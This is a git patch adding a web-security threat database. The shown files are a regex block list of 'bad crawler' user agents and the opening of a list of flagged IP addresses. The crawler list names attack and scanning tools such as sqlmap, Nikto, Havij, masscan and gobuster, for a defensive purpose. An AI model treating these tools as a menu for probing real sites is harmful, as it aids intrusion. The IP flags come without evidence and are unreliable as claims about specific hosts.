From 20945579ce3260c9d8dd635f0f7faf1f143613de Mon Sep 17 00:00:00 2001 From: ghost Date: Tue, 29 Oct 2024 00:52:43 +0000 Subject: [PATCH] build: Update DB [Tue Oct 29 00:52:43 UTC 2024] --- README.md | 10 +- db/MD5SUMS | 7 + db/bad-crawlers.txt | 1411 +++ db/bad-ip-addresses.txt | 19297 +++++++++++++++++++++++++++++++++ db/bad-referrers.txt | 7105 ++++++++++++ db/common-web-attacks.json | 1 + db/cves.json | 1 + db/db.tar.zst | Bin 0 -> 569599 bytes db/directory-bruteforces.txt | 5339 +++++++++ 9 files changed, 33166 insertions(+), 5 deletions(-) create mode 100644 db/MD5SUMS create mode 100644 db/bad-crawlers.txt create mode 100644 db/bad-ip-addresses.txt create mode 100644 db/bad-referrers.txt create mode 100644 db/common-web-attacks.json create mode 100644 db/cves.json create mode 100644 db/db.tar.zst create mode 100644 db/directory-bruteforces.txt diff --git a/README.md b/README.md index bc45faff..4868cf4f 100644 --- a/README.md +++ b/README.md @@ -9,15 +9,15 @@ This collection serves as the primary repository of external resources/datasets | **Datasets** | **Count** | | -------------------- | --------- | | Common Web Attack | 76 | -| CVEs | 2718 | -| Bad IP Address | 19836 | +| CVEs | 2724 | +| Bad IP Address | 19297 | | Bad Referrer | 7104 | | Bad Crawler | 1410 | -| Directory Bruteforce | 5332 | -| **Total** | **36476** | +| Directory Bruteforce | 5339 | +| **Total** | **35950** | > [!NOTE] -> Last updated at **Mon Oct 28 00:54:04 UTC 2024**. +> Last updated at **Tue Oct 29 00:52:43 UTC 2024**. ## Contributions diff --git a/db/MD5SUMS b/db/MD5SUMS new file mode 100644 index 00000000..9956632d --- /dev/null +++ b/db/MD5SUMS @@ -0,0 +1,7 @@ +d57cfba30adee8c57aecc4dc95883086 bad-crawlers.txt +0d0c0cd76726bbca28aceb8bdbd440b9 bad-ip-addresses.txt +8f186aa10b19ce75203890934508f9e1 bad-referrers.txt +394f8e08f61e118f284f899558f6629f common-web-attacks.json +83f787823c0a27ba9f26858848e50660 cves.json +199e66298cd0facd4cd24e87954f4bea db.tar.zst +775441f83d82bac371e04f9844375590 directory-bruteforces.txt diff --git a/db/bad-crawlers.txt b/db/bad-crawlers.txt new file mode 100644 index 00000000..89d586c8 --- /dev/null +++ b/db/bad-crawlers.txt @@ -0,0 +1,1411 @@ + YLT +^Aether +^Amazon Simple Notification Service Agent$ +^Amazon-Route53-Health-Check-Service +^Amazon CloudFront +^b0t$ +^bluefish +^Calypso v\/ +^COMODO DCV +^Corax +^DangDang +^DavClnt +^DHSH +^docker\/[0-9] +^Expanse +^FDM +^git\/ +^Goose\/ +^Grabber +^Gradle\/ +^HTTPClient\/ +^HTTPing +^Java\/ +^Jeode\/ +^Jetty\/ +^Mail\/ +^Mget +^Microsoft URL Control +^Mikrotik\/ +^Netlab360 +^NG\/[0-9\.] +^NING\/ +^npm\/ +^Nuclei +^PHP-AYMAPI\/ +^PHP\/ +^pip\/ +^pnpm\/ +^RMA\/ +^Ruby|Ruby\/[0-9] +^Swurl +^TLS tester +^twine\/ +^ureq +^VSE\/[0-9] +^WordPress\.com +^XRL\/[0-9] +^ZmEu +008\/ +13TABS +192\.comAgent +2GDPR\/ +2ip\.ru +404enemy +7Siters +80legs +a3logics\.in +A6-Indexer +Abonti +Aboundex +aboutthedomain +Accoona-AI-Agent +acebookexternalhit\/ +acoon +acrylicapps\.com\/pulp +Acunetix +AdAuth\/ +adbeat +AddThis +ADmantX +AdminLabs +adressendeutschland +adreview\/ +adscanner +adstxt-worker +Adstxtaggregator +adstxt\.com +Adyen HttpClient +AffiliateLabz\/ +affilimate-puppeteer +agentslug +AHC +aihit +aiohttp\/ +Airmail +akka-http\/ +akula\/ +alertra +alexa site audit +Alibaba\.Security\.Heimdall +Alligator +allloadin +AllSubmitter +alyze\.info +amagit +Anarchie +AndroidDownloadManager +Anemone +AngleSharp +annotate_google +Anthill +Anturis Agent +Ant\.com +AnyEvent-HTTP\/ +Apache Ant\/ +Apache Droid +Apache OpenOffice +Apache-HttpAsyncClient +Apache-HttpClient +ApacheBench +Apexoo +apimon\.de +APIs-Google +AportWorm\/ +AppBeat\/ +AppEngine-Google +AppleSyndication +Aprc\/[0-9] +Arachmo +arachnode +Arachnophilia +aria2 +Arukereso +asafaweb +Asana\/ +Ask Jeeves +AskQuickly +ASPSeek +Asterias +Astute +asynchttp +Attach +attohttpc +autocite +AutomaticWPTester +Autonomy +awin\.com +AWS Security Scanner +axios\/ +a\.pr-cy\.ru +B-l-i-t-z-B-O-T +Backlink-Ceck +BacklinkHttpStatus +BackStreet +BackupLand +BackWeb +Bad-Neighborhood +Badass +baidu\.com +Bandit +basicstate +BatchFTP +Battleztar Bazinga +baypup\/ +BazQux +BBBike +BCKLINKS +BDFetch +BegunAdvertising +Bewica-security-scan +Bidtellect +BigBozz +Bigfoot +biglotron +BingLocalSearch +BingPreview +binlar +biNu image cacher +Bitacle +Bitrix link preview +biz_Directory +BKCTwitterUnshortener\/ +Black Hole +Blackboard Safeassign +BlackWidow +BlockNote\.Net +BlogBridge +Bloglines +Bloglovin +BlogPulseLive +BlogSearch +Blogtrottr +BlowFish +boitho\.com-dc +Boost\.Beast +BPImageWalker +Braintree-Webhooks +Branch Metrics API +Branch-Passthrough +Brandprotect +Brandwatch +Brodie\/ +Browsershots +BUbiNG +Buck\/ +Buddy +BuiltWith +Bullseye +BunnySlippers +Burf Search +Butterfly\/ +BuzzSumo +CAAM\/[0-9] +CakePHP +Calculon +Canary%20Mail +CaretNail +catexplorador +CC Metadata Scaper +Cegbfeieh +censys +centuryb.o.t9[at]gmail.com +Cerberian Drtrs +CERT\.at-Statistics-Survey +cf-facebook +cg-eye +changedetection +ChangesMeter +Charlotte +chatterino-api-cache +CheckHost +checkprivacy +CherryPicker +ChinaClaw +Chirp\/ +chkme\.com +Chlooe +Chromaxa +CirrusExplorer +CISPA Vulnerability Notification +CISPA Web Analyser +Citoid +CJNetworkQuality +Clarsentia +clips\.ua\.ac\.be +Cloud mapping +CloudEndure +CloudFlare-AlwaysOnline +Cloudflare-Healthchecks +Cloudinary +cmcm\.com +coccoc +cognitiveseo +ColdFusion +colly - +CommaFeed +Commons-HttpClient +commonscan +contactbigdatafr +contentkingapp +Contextual Code Sites Explorer +convera +CookieReports +copyright sheriff +CopyRightCheck +Copyscape +cortex\/ +Cosmos4j\.feedback +Covario-IDS +Craw\/ +Crescent +Criteo +Crowsnest +CSHttp +CSSCheck +Cula\/ +curb +Curious George +curl +cuwhois\/ +cybo\.com +DAP\/NetHTTP +DareBoost +DatabaseDriverMysqli +DataCha0s +DatadogSynthetics +Datafeedwatch +Datanyze +DataparkSearch +dataprovider +DataXu +Daum(oa)?[ \/][0-9] +dBpoweramp +ddline +deeris +delve\.ai +Demon +DeuSu +developers\.google\.com\/\+\/web\/snippet\/ +Devil +Digg +Digincore +DigitalPebble +Dirbuster +Discourse Forum Onebox +Dispatch\/ +Disqus\/ +DittoSpyder +dlvr +DMBrowser +DNSPod-reporting +docoloc +Dolphin http client +DomainAppender +DomainLabz +Domains Project\/ +Donuts Content Explorer +dotMailer content retrieval +dotSemantic +downforeveryoneorjustme +Download Wonder +downnotifier +DowntimeDetector +Drip +drupact +Drupal \(\+http:\/\/drupal\.org\/\) +DTS Agent +dubaiindex +DuplexWeb-Google +DynatraceSynthetic +EARTHCOM +Easy-Thumb +EasyDL +Ebingbong +ec2linkfinder +eCairn-Grabber +eCatch +ECCP +eContext\/ +Ecxi +EirGrabber +ElectricMonk +elefent +EMail Exractor +EMail Wolf +EmailWolf +Embarcadero +Embed PHP Library +Embedly +endo\/ +europarchive\.org +evc-batch +EventMachine HttpClient +Everwall Link Expander +Evidon +Evrinid +ExactSearch +ExaleadCloudview +Excel\/ +exif +ExoRank +Exploratodo +Express WebPictures +Extreme Picture Finder +EyeNetIE +ezooms +facebookcatalog +facebookexternalhit +facebookexternalua +facebookplatform +fairshare +Faraday v +fasthttp +Faveeo +Favicon downloader +faviconarchive +faviconkit +FavOrg +Feed Wrangler +Feedable\/ +Feedbin +FeedBooster +FeedBucket +FeedBunch\/ +FeedBurner +feeder +Feedly +FeedshowOnline +Feedshow\/ +Feedspot +FeedViewer\/ +Feedwind\/ +FeedZcollector +feeltiptop +Fetch API +Fetch\/[0-9] +Fever\/[0-9] +FHscan +Fiery%20Feeds +Filestack +Fimap +findlink +findthatfile +FlashGet +FlipboardBrowserProxy +FlipboardProxy +FlipboardRSS +Flock\/ +Florienzh\/ +fluffy +Flunky +flynxapp +forensiq +ForusP +FoundSeoTool +fragFINN\.de +free thumbnails +Freeuploader +FreshRSS +frontman +Funnelback +Fuzz Faster U Fool +G-i-g-a-b-o-t +g00g1e\.net +ganarvisitas +gdnplus\.com +GeedoProductSearch +geek-tools +Genieo +GentleSource +GetCode +Getintent +GetLinkInfo +getprismatic +GetRight +getroot +GetURLInfo\/ +GetWeb +Geziyor +Ghost Inspector +GigablastOpenSource +GIS-LABS +github-camo +GitHub-Hookshot +github\.com +Go http package +Go [\d\.]* package http +Go!Zilla +Go-Ahead-Got-It +Go-http-client +go-mtasts\/ +gobuster +gobyus +Gofeed +gofetch +Goldfire Server +GomezAgent +gooblog +Goodzer\/ +Google AppsViewer +Google Desktop +Google favicon +Google Keyword Suggestion +Google Keyword Tool +Google Page Speed Insights +Google PP Default +Google Search Console +Google Web Preview +Google-Ads +Google-Adwords +Google-Apps-Script +Google-Calendar-Importer +Google-HotelAdsVerifier +Google-HTTP-Java-Client +Google-InspectionTool +Google-Podcast +Google-Publisher-Plugin +Google-Read-Aloud +Google-SearchByImage +Google-Site-Verification +Google-SMTP-STS +Google-speakr +Google-Structured-Data-Testing-Tool +Google-Transparency-Report +google-xrawler +Google-Youtube-Links +GoogleDocs +GoogleHC\/ +GoogleOther +GoogleProber +GoogleProducer +GoogleSites +Gookey +GoSpotCheck +gosquared-thumbnailer +Gotit +GoZilla +grabify +GrabNet +Grafula +Grammarly +GrapeFX +GreatNews +Gregarius +GRequests +grokkit +grouphigh +grub-client +gSOAP\/ +GT::WWW +GTmetrix +GuzzleHttp +gvfs\/ +HAA(A)?RTLAND http client +Haansoft +hackney\/ +Hadi Agent +HappyApps-WebCheck +Hardenize +Hatena +Havij +HaxerMen +HeadlessChrome +HEADMasterSEO +HeartRails_Capture +help@dataminr\.com +heritrix +Hexometer +historious +hkedcity +hledejLevne\.cz +Hloader +HMView +Holmes +HonesoSearchEngine +HootSuite Image proxy +Hootsuite-WebFeed +hosterstats +HostTracker +ht:\/\/check +htdig +HTMLparser +htmlyse +HTTP Banner Detection +http-get +HTTP-Header-Abfrage +http-kit +http-request\/ +HTTP-Tiny +HTTP::Lite +http:\/\/www.neomo.de\/ +HttpComponents +httphr +HTTPie +HTTPMon +httpRequest +httpscheck +httpssites_power +httpunit +HttpUrlConnection +http\.rb\/ +HTTP_Compression_Test +http_get +http_request2 +http_requester +httrack +huaweisymantec +HubSpot +HubSpot-Link-Resolver +Humanlinks +i2kconnect\/ +Iblog +ichiro +Id-search +IdeelaborPlagiaat +IDG Twitter Links Resolver +IDwhois\/ +Iframely +igdeSpyder +iGooglePortal +IlTrovatore +Image Fetch +Image Sucker +ImageEngine\/ +ImageVisu\/ +Imagga +imagineeasy +imgsizer +InAGist +inbound\.li parser +InDesign%20CC +Indy Library +InetURL +infegy +infohelfer +InfoTekies +InfoWizards Reciprocal Link +inpwrd\.com +instabid +Instapaper +Integrity +integromedb +Intelliseek +InterGET +Internet Ninja +InternetSeer +internetVista monitor +internetwache +internet_archive +intraVnews +IODC +IOI +Inboxb0t +iplabel +ips-agent +IPS\/[0-9] +IPWorks HTTP\/S Component +iqdb\/ +Iria +Irokez +isitup\.org +iskanie +isUp\.li +iThemes Sync\/ +IZaBEE +iZSearch +JAHHO +janforman +Jaunt\/ +Java.*outbrain +javelin\.io +Jbrofuzz +Jersey\/ +JetCar +Jigsaw +Jobboerse +JobFeed discovery +Jobg8 URL Monitor +jobo +Jobrapido +Jobsearch1\.5 +JoinVision Generic +JolokiaPwn +Joomla +Jorgee +JS-Kit +JungleKeyThumbnail +JustView +Kaspersky Lab CFR link resolver +Kelny\/ +Kerrigan\/ +KeyCDN +Keyword Density +Keywords Research +khttp\/ +KickFire +KimonoLabs\/ +Kml-Google +knows\.is +KOCMOHABT +kouio +kube-probe +kubectl +kulturarw3 +KumKie +Larbin +Lavf\/ +leakix\.net +LeechFTP +LeechGet +letsencrypt +Lftp +LibVLC +LibWeb +Libwhisker +libwww +Licorne +Liferea\/ +Lighthouse +Lightspeedsystems +Likse +limber\.io +Link Valet +LinkAlarm\/ +LinkAnalyser +link-check +linkCheck +linkdex +LinkExaminer +linkfluence +linkpeek +LinkPreview +LinkScan +LinksManager +LinkTiger +LinkWalker +link_thumbnailer +Lipperhey +Litemage_walker +livedoor ScreenShot +LoadImpactRload +localsearch-web +LongURL API +longurl-r-package +looid\.com +looksystems\.net +lscache_runner +ltx71 +lua-resty-http +Lucee \(CFML Engine\) +Lush Http Client +lwp-request +lwp-trivial +LWP::Simple +lycos +LYT\.SR +L\.webis +mabontland +MacOutlook\/ +Mag-Net +MagpieRSS +Mail::STS +MailChimp +Mail\.Ru +Majestic12 +makecontact\/ +Mandrill +MapperCmd +marketinggrader +MarkMonitor +MarkWatch +Mass Downloader +masscan\/ +Mata Hari +mattermost +Mediametric +Mediapartners-Google +mediawords +MegaIndex\.ru +MeltwaterNews +Melvil Rawi +MemGator +Metaspinner +MetaURI +MFC_Tear_Sample +Microsearch +Microsoft Data Access +Microsoft Office +Microsoft Outlook +Microsoft Windows Network Diagnostics +Microsoft-WebDAV-MiniRedir +Microsoft\.Data\.Mashup +MicrosoftPreview +MIDown tool +MIIxpc +Mindjet +Miniature\.io +Miniflux +mio_httpc +Miro-HttpClient +Mister PiX +mixdata dot com +mixed-content-scan +mixnode +Mnogosearch +mogimogi +Mojeek +Mojolicious \(Perl\) +Mollie +monitis +Monitority\/ +Monit\/ +montastic +MonTools +Moreover +Morfeus Fucking Scanner +Morning Paper +MovableType +mowser +Mrcgiguy +Mr\.4x3 Powered +MS Web Services Client Protocol +MSFrontPage +mShots +MuckRack\/ +muhstik-scan +MVAClient +MxToolbox\/ +myseosnapshot +nagios +Najdi\.si +Name Intelligence +NameFo\.com +Nameprotect +nationalarchives +Navroad +nbertaupete95 +NearSite +Needle +Nessus +Net Vampire +NetAnts +NETCRAFT +NetLyzer +NetMechanic +NetNewsWire +Netpursual +netresearch +NetShelter ContentScan +Netsparker +NetSystemsResearch +nettle +NetTrack +Netvibes +NetZIP +Neustar WPM +NeutrinoAPI +NewRelicPinger +NewsBlur .*Finder +NewsGator +newsme +newspaper\/ +Nexgate Ruby Client +NG-Search +nghttp2 +Nibbler +NICErsPRO +NihilScio +Nikto +nineconnections +NLNZ_IAHarvester +Nmap Scripting Engine +node-fetch +node-superagent +node-urllib +Nodemeter +NodePing +node\.io +nominet\.org\.uk +nominet\.uk +Norton-Safeweb +Notifixious +notifyninja +NotionEmbedder +nuhk +nutch +Nuzzel +nWormFeedFinder +nyawc\/ +Nymesis +NYU +Observatory\/ +Ocelli\/ +Octopus +oegp +Offline Explorer +Offline Navigator +OgScrper +okhttp +omgili +OMSC +Online Domain Tools +Open Source RSS +OpenCalaisSemanticProxy +Openfind +OpenLinkProfiler +Openstat\/ +OpenVAS +OPPO A33 +Optimizer +Orbiter +OrgProbe\/ +orion-semantics +Outlook-Express +Outlook-iOS +Owler +Owlin +ownCloud News +ow\.ly +OxfordCloudService +page scorer +Page Valet +page2rss +PageFreezer +PageGrabber +PagePeeker +PageScorer +Pagespeed\/ +PageThing +page_verifier +Panopta +panscient +Papa Foto +parsijoo +Pavuk +PayPal IPN +pcBrowser +Pcore-HTTP +PDF24 URL To PDF +Pearltrees +PECL::HTTP +peerindex +Peew +PeoplePal +Perlu - +PhantomJS Screenshoter +PhantomJS\/ +Photon\/ +php-requests +phpservermon +Pi-Monster +Picscout +Picsearch +PictureFinder +Pimonster +Pingability +PingAdmin\.Ru +Pingdom +Pingoscope +PingSpot +ping\.blo\.gs +pinterest\.com +Pixray +Pizilla +Plagger\/ +Pleroma +Ploetz \+ Zeller +Plukkie +plumanalytics +PocketImageCache +PocketParser +Pockey +PodcastAddict\/ +POE-Component-Client-HTTP +Polymail\/ +Pompos +Porkbun +Port Monitor +postano +postfix-mta-sts-resolver +PostmanRuntime +postplanner\.com +PostPost +postrank +PowerPoint\/ +Prebid +Prerender +Priceonomics Analysis Engine +PrintFriendly +PritTorrent +Prlog +probely\.com +probethenet +Project ?25499 +Project-Resonance +prospectb2b +Protopage +ProWebWalker +proximic +PRTG Network Monitor +pshtt, https scanning +PTST +PTST\/[0-9]+ +pulsetic\.com +Pump +Python-httplib2 +python-httpx +python-requests +Python-urllib +Qirina Hurdler +QQDownload +QrafterPro +Qseero +Qualidator +QueryN Metasearch +queuedriver +quic-go-HTTP\/ +QuiteRSS +Quora Link Preview +Qwantify +Radian6 +RadioPublicImageResizer +Railgun\/ +RankActive +RankFlex +RankSonicSiteAuditor +RapidLoad\/ +Re-re Studio +ReactorNetty +Readability +RealDownload +RealPlayer%20Downloader +RebelMouse +Recorder +RecurPost\/ +redback\/ +ReederForMac +Reeder\/ +ReGet +RepoMonkey +request\.js +reqwest\/ +ResponseCodeTest +RestSharp +Riddler +Rival IQ +Robosourcer +Robozilla +ROI Hunter +RPT-HTTPClient +RSSMix\/ +RSSOwl +RuxitSynthetic +RyowlEngine +safe-agent-scanner +SalesIntelligent +Saleslift +SAP NetWeaver Application Server +SauceNAO +SBIder +sc-downloader +scalaj-http +Scamadviser-Frontend +ScanAlert +scan\.lol +Scoop +scooter +ScopeContentAG-HTTP-Client +ScoutJet +ScoutURLMonitor +ScrapeBox Page Scanner +Scrapy +Screaming +ScreenShotService +Scrubby +Scrutiny\/ +Search37 +searchenginepromotionhelp +Searchestate +SearchExpress +SearchSight +SearchWP +search\.thunderstone +Seeker +semanticdiscovery +semanticjuice +Semiocast HTTP client +Semrush +Sendsay\.Ru +sentry\/ +SEO Browser +Seo Servis +seo-nastroj\.cz +seo4ajax +Seobility +SEOCentro +SeoCheck +seocompany +SEOkicks +SEOlizer +Seomoz +SEOprofiler +seoscanners +SEOsearch +seositecheckup +SEOstats +servernfo +sexsearcher +Seznam +Shelob +Shodan +Shoppimon +ShopWiki +ShortLinkTranslate +shortURL lengthener +shrinktheweb +Sideqik +Siege +SimplePie +SimplyFast +Siphon +SISTRIX +Site Sucker +Site-Shot\/ +Site24x7 +SiteBar +Sitebeam +Sitebulb\/ +SiteCondor +SiteExplorer +SiteGuardian +Siteimprove +SiteIndexed +Sitemap(s)? Generator +SitemapGenerator +SiteMonitor +Siteshooter B0t +SiteSnagger +SiteSucker +SiteTruth +Sitevigil +sitexy\.com +SkypeUriPreview +Slack\/ +sli-systems\.com +slider\.com +slurp +SlySearch +SmartDownload +SMRF URL Expander +SMUrlExpander +Snake +Snappy +SnapSearch +Snarfer\/ +SniffRSS +sniptracker +Snoopy +SnowHaze Search +sogou web +SortSite +Sottopop +sovereign\.ai +SpaceBison +SpamExperts +Spammen +Spanner +Spawning-AI +spaziodati +SPDYCheck +Specificfeeds +SpeedKit +speedy +SPEng +Spinn3r +spray-can +Sprinklr +spyonweb +sqlmap +Sqlworm +Sqworm +SSL Labs +ssl-tools +StackRambler +Statastico\/ +Statically- +StatusCake +Steeler +Stratagems Kumo +Stripe\/ +Stroke\.cz +StudioFACA +StumbleUpon +suchen +Sucuri +summify +SuperHTTP +Surphace Scout +Suzuran +swcd +Symfony BrowserKit +Symfony2 BrowserKit +Synapse\/ +Syndirella\/ +SynHttpClient-Built +Sysomos +sysscan +Szukacz +T0PHackTeam +tAkeOut +Tarantula\/ +Taringa UGC +TarmotGezgin +tchelebi\.io +techiaith\.cymru +Teleport +Telesoft +Telesphoreo +Telesphorep +Tenon\.io +teoma +terrainformatica +Test Certificate Info +testuri +Tetrahedron +TextRazor Downloader +The Drop Reaper +The Expert HTML Source Viewer +The Intraformant +The Knowledge AI +theinternetrules +TheNomad +Thinklab +Thumbor +Thumbshots +ThumbSniper +timewe\.net +TinEye +Tiny Tiny RSS +TLSProbe\/ +Toata +topster +touche\.com +Traackr\.com +tracemyfile +Trackuity +TrapitAgent +Trendiction +Trendsmap +trendspottr +truwoGPS +TryJsoup +TulipChain +Turingos +Turnitin +tweetedtimes +Tweetminster +Tweezler\/ +twibble +Twice +Twikle +Twingly +Twisted PageGetter +Typhoeus +ubermetrics-technologies +uclassify +UdmSearch +ultimate_sitemap_parser +unchaos +unirest-java +UniversalFeedParser +unshortenit +Unshorten\.It +Untiny +UnwindFetchor +updated +updown\.io daemon +Upflow +Uptimia +URL Verifier +Urlcheckr +URLitor +urlresolver +Urlstat +URLTester +UrlTrends Ranking Updater +URLy Warning +URLy\.Warning +URL\/Emacs +Vacuum +Vagabondo +VB Project +vBSEO +VCI +Verity +via ggpht\.com GoogleImageProxy +Virusdie +visionutils +Visual Rights Group +vkShare +VoidEYE +Voil +voltron +voyager\/ +VSAgent\/ +VSB-TUO\/ +Vulnbusters Meter +VYU2 +w3af\.org +W3C-checklink +W3C-mobileOK +W3C_Unicorn +WAC-OFU +WakeletLinkExpander +WallpapersHD +Wallpapers\/[0-9]+ +wangling +Wappalyzer +WatchMouse +WbSrch\/ +WDT\.io +Web Auto +Web Collage +Web Enhancer +Web Fetch +Web Fuck +Web Pix +Web Sauger +Web spyder +Web Sucker +web-capture\.net +Web-sniffer +Webalta +Webauskunft +WebAuto +WebCapture +WebClient\/ +webcollage +WebCookies +WebCopier +WebCorp +WebDataStats +WebDoc +WebEnhancer +WebFetch +WebFuck +WebGazer +WebGo IS +WebImageCollector +WebImages +WebIndex +webkit2png +WebLeacher +webmastercoffee +webmon +WebPix +WebReaper +WebSauger +webscreenie +Webshag +Webshot +Website Quester +websitepulse agent +WebsiteQuester +Websnapr +WebSniffer +Webster +WebStripper +WebSucker +webtech\/ +WebThumbnail +Webthumb\/ +WebWhacker +WebZIP +WeLikeLinks +WEPA +WeSEE +wf84 +Wfuzz\/ +wget +WhatCMS +WhatsApp +WhatsMyIP +WhatWeb +WhereGoes\? +Whibse +WhoAPI\/ +WhoRunsCoinHive +Whynder Magnet +Windows-RSS-Platform +WinHttp-Autoproxy-Service +WinHTTP\/ +WinPodder +wkhtmlto +wmtips +Woko +Wolfram HTTPClient +woorankreview +WordPress\/ +WordupinfoSearch +Word\/ +worldping-api +wotbox +WP Engine Install Performance API +WP Rocket +wpif +wprecon\.com survey +WPScan +wscheck +Wtrace +WWW-Collector-E +WWW-Mechanize +WWW::Document +WWW::Mechanize +WWWOFFLE +www\.monitor\.us +x09Mozilla +x22Mozilla +XaxisSemanticsClassifier +XenForo\/ +Xenu Link Sleuth +XING-contenttabreceiver +xpymep([0-9]?)\.exe +Y!J-[A-Z][A-Z][A-Z] +Yaanb +yacy +Yahoo Link Preview +YahooCacheSystem +YahooMailProxy +YahooYSMcm +YandeG +Yandex(?!Search) +yanga +yeti +Yo-yo +Yoleo Consumer +yomins\.com +yoogliFetchAgent +YottaaMonitor +Your-Website-Sucks +yourls\.org +YoYs\.net +YP\.PL +Zabbix +Zade +Zao +Zapier +Zauba +Zemanta Aggregator +Zend\\Http\\Client +Zend_Http_Client +Zermelo +Zeus +zgrab +ZnajdzFoto +ZnHTTP +Zombie\.js +Zoom\.Mac +ZoteroTranslationServer +ZyBorg +[a-z0-9\-_]*(bot|crawl|archiver|transcoder|spider|uptime|validator|fetcher|cron|checker|reader|extractor|monitoring|analyzer|scraper) \ No newline at end of file diff --git a/db/bad-ip-addresses.txt b/db/bad-ip-addresses.txt new file mode 100644 index 00000000..c43629af --- /dev/null +++ b/db/bad-ip-addresses.txt @@ -0,0 +1,19297 @@ +1.0.210.36 +1.10.177.59 +1.116.43.201 +1.117.58.215 +1.12.70.28 +1.120.114.174 +1.14.108.22 +1.14.199.204 +1.15.247.236 +1.157.198.42 +1.159.187.202 +1.160.109.47 +1.162.227.126 +1.163.172.172 +1.163.236.225 +1.163.90.124 +1.164.224.70 +1.165.100.6 +1.165.119.240 +1.165.146.40 +1.165.253.107 +1.165.40.5 +1.168.195.235 +1.168.251.147 +1.170.253.63 +1.170.39.134 +1.171.123.163 +1.171.144.130 +1.173.198.97 +1.174.20.156 +1.179.228.195 +1.180.219.212 +1.180.230.98 +1.183.13.194 +1.194.160.101 +1.194.166.30 +1.197.78.123 +1.2.190.235 +1.201.162.20 +1.202.112.1 +1.202.119.31 +1.202.223.2 +1.212.225.99 +1.213.164.27 +1.215.240.130 +1.220.135.218 +1.227.228.136 +1.227.83.100 +1.227.83.22 +1.231.222.19 +1.231.222.20 +1.231.222.21 +1.231.222.22 +1.231.222.23 +1.231.222.24 +1.231.222.25 +1.231.222.26 +1.231.222.29 +1.232.29.63 +1.234.28.71 +1.234.31.117 +1.234.62.237 +1.234.80.59 +1.235.192.130 +1.235.192.131 +1.237.137.30 +1.237.162.20 +1.238.106.229 +1.245.207.104 +1.247.155.239 +1.247.245.61 +1.252.63.242 +1.253.28.16 +1.255.147.114 +1.26.70.70 +1.28.192.118 +1.28.192.150 +1.28.194.22 +1.28.87.246 +1.30.20.2 +1.30.20.238 +1.31.80.166 +1.33.16.190 +1.34.100.72 +1.34.107.46 +1.34.111.115 +1.34.126.178 +1.34.145.215 +1.34.164.40 +1.34.166.2 +1.34.18.203 +1.34.181.220 +1.34.184.117 +1.34.2.141 +1.34.200.86 +1.34.209.215 +1.34.209.79 +1.34.212.100 +1.34.229.120 +1.34.232.138 +1.34.239.180 +1.34.243.17 +1.34.246.245 +1.34.247.157 +1.34.253.240 +1.34.254.21 +1.34.43.114 +1.34.52.67 +1.34.6.132 +1.34.65.133 +1.34.7.7 +1.34.74.88 +1.34.76.241 +1.34.77.234 +1.34.9.93 +1.34.90.127 +1.34.94.21 +1.36.81.113 +1.52.78.32 +1.55.159.34 +1.55.33.86 +1.6.13.39 +1.69.65.40 +1.69.75.80 +1.70.10.239 +1.70.11.36 +1.70.124.246 +1.70.130.12 +1.70.138.130 +1.70.140.31 +1.70.158.32 +1.70.163.249 +1.70.178.214 +1.70.190.45 +1.70.82.99 +1.70.83.177 +1.70.9.108 +1.70.96.64 +1.70.96.83 +1.71.2.174 +1.82.161.53 +1.82.217.54 +1.9.177.11 +1.94.151.27 +100.0.161.38 +100.12.91.119 +100.15.97.125 +100.29.192.1 +100.29.192.10 +100.29.192.100 +100.29.192.101 +100.29.192.105 +100.29.192.106 +100.29.192.108 +100.29.192.111 +100.29.192.115 +100.29.192.118 +100.29.192.119 +100.29.192.120 +100.29.192.121 +100.29.192.123 +100.29.192.124 +100.29.192.126 +100.29.192.127 +100.29.192.13 +100.29.192.14 +100.29.192.16 +100.29.192.19 +100.29.192.2 +100.29.192.20 +100.29.192.22 +100.29.192.23 +100.29.192.24 +100.29.192.25 +100.29.192.26 +100.29.192.27 +100.29.192.28 +100.29.192.29 +100.29.192.3 +100.29.192.30 +100.29.192.31 +100.29.192.32 +100.29.192.33 +100.29.192.34 +100.29.192.35 +100.29.192.36 +100.29.192.37 +100.29.192.38 +100.29.192.4 +100.29.192.44 +100.29.192.45 +100.29.192.47 +100.29.192.48 +100.29.192.49 +100.29.192.5 +100.29.192.54 +100.29.192.55 +100.29.192.56 +100.29.192.57 +100.29.192.6 +100.29.192.63 +100.29.192.64 +100.29.192.65 +100.29.192.66 +100.29.192.67 +100.29.192.68 +100.29.192.69 +100.29.192.7 +100.29.192.70 +100.29.192.72 +100.29.192.75 +100.29.192.76 +100.29.192.77 +100.29.192.78 +100.29.192.79 +100.29.192.80 +100.29.192.81 +100.29.192.83 +100.29.192.84 +100.29.192.87 +100.29.192.88 +100.29.192.9 +100.29.192.92 +100.29.192.93 +100.29.192.94 +100.37.1.10 +100.42.178.193 +100.42.189.67 +101.100.184.80 +101.126.11.101 +101.126.11.137 +101.126.11.251 +101.126.144.39 +101.126.17.129 +101.126.18.31 +101.126.20.192 +101.126.21.209 +101.126.21.63 +101.126.23.102 +101.126.24.74 +101.126.26.215 +101.126.27.230 +101.126.31.191 +101.126.31.21 +101.126.4.240 +101.126.5.109 +101.126.54.167 +101.126.54.66 +101.126.54.88 +101.126.54.95 +101.126.55.179 +101.126.55.63 +101.126.6.108 +101.126.6.19 +101.126.65.104 +101.126.67.115 +101.126.69.223 +101.126.71.44 +101.126.8.57 +101.126.81.188 +101.126.81.213 +101.126.82.218 +101.126.83.181 +101.126.84.99 +101.126.88.245 +101.126.88.251 +101.126.88.79 +101.126.89.144 +101.126.89.164 +101.126.90.116 +101.126.90.52 +101.126.90.87 +101.126.91.34 +101.126.93.113 +101.126.93.42 +101.126.95.220 +101.127.226.219 +101.13.3.72 +101.13.4.21 +101.13.4.76 +101.13.5.20 +101.132.42.220 +101.167.59.178 +101.179.0.108 +101.200.39.95 +101.201.103.9 +101.201.170.103 +101.201.212.110 +101.201.33.54 +101.201.38.226 +101.201.60.58 +101.201.63.36 +101.201.67.22 +101.206.211.7 +101.224.241.16 +101.226.180.6 +101.227.203.162 +101.227.230.139 +101.227.231.4 +101.227.236.5 +101.227.54.119 +101.231.247.210 +101.251.197.238 +101.254.166.52 +101.254.99.131 +101.33.211.54 +101.33.249.232 +101.33.73.104 +101.35.47.158 +101.36.102.26 +101.36.105.7 +101.36.106.78 +101.36.106.89 +101.36.107.65 +101.36.108.133 +101.36.108.134 +101.36.108.158 +101.36.108.160 +101.36.108.175 +101.36.108.191 +101.36.108.9 +101.36.110.201 +101.36.110.50 +101.36.114.198 +101.36.114.209 +101.36.114.222 +101.36.116.40 +101.36.116.45 +101.36.117.15 +101.36.118.148 +101.36.118.248 